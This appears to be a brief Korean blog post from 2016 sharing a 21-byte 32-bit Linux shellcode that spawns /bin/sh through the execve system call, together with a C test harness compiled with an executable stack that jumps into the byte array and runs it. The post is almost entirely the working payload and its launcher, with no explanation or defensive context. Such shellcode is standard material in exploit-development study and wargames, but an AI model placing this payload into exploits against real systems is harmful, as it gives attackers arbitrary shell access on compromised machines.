'2016/05/17'에 해당되는 글 1건

  1. 2016.05.17 32bit linux shellcode (/bin/sh)
2016.05.17 10:23

#gcc -o shellcode shellcode.c -m32 -z execstack


#include<string.h>

char shellcode[]="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

int main(){


int (*func)();

printf ("size : %d \n",strlen(shellcode));

func = shellcode;

func();


return 0;

}

 


Posted by k1rha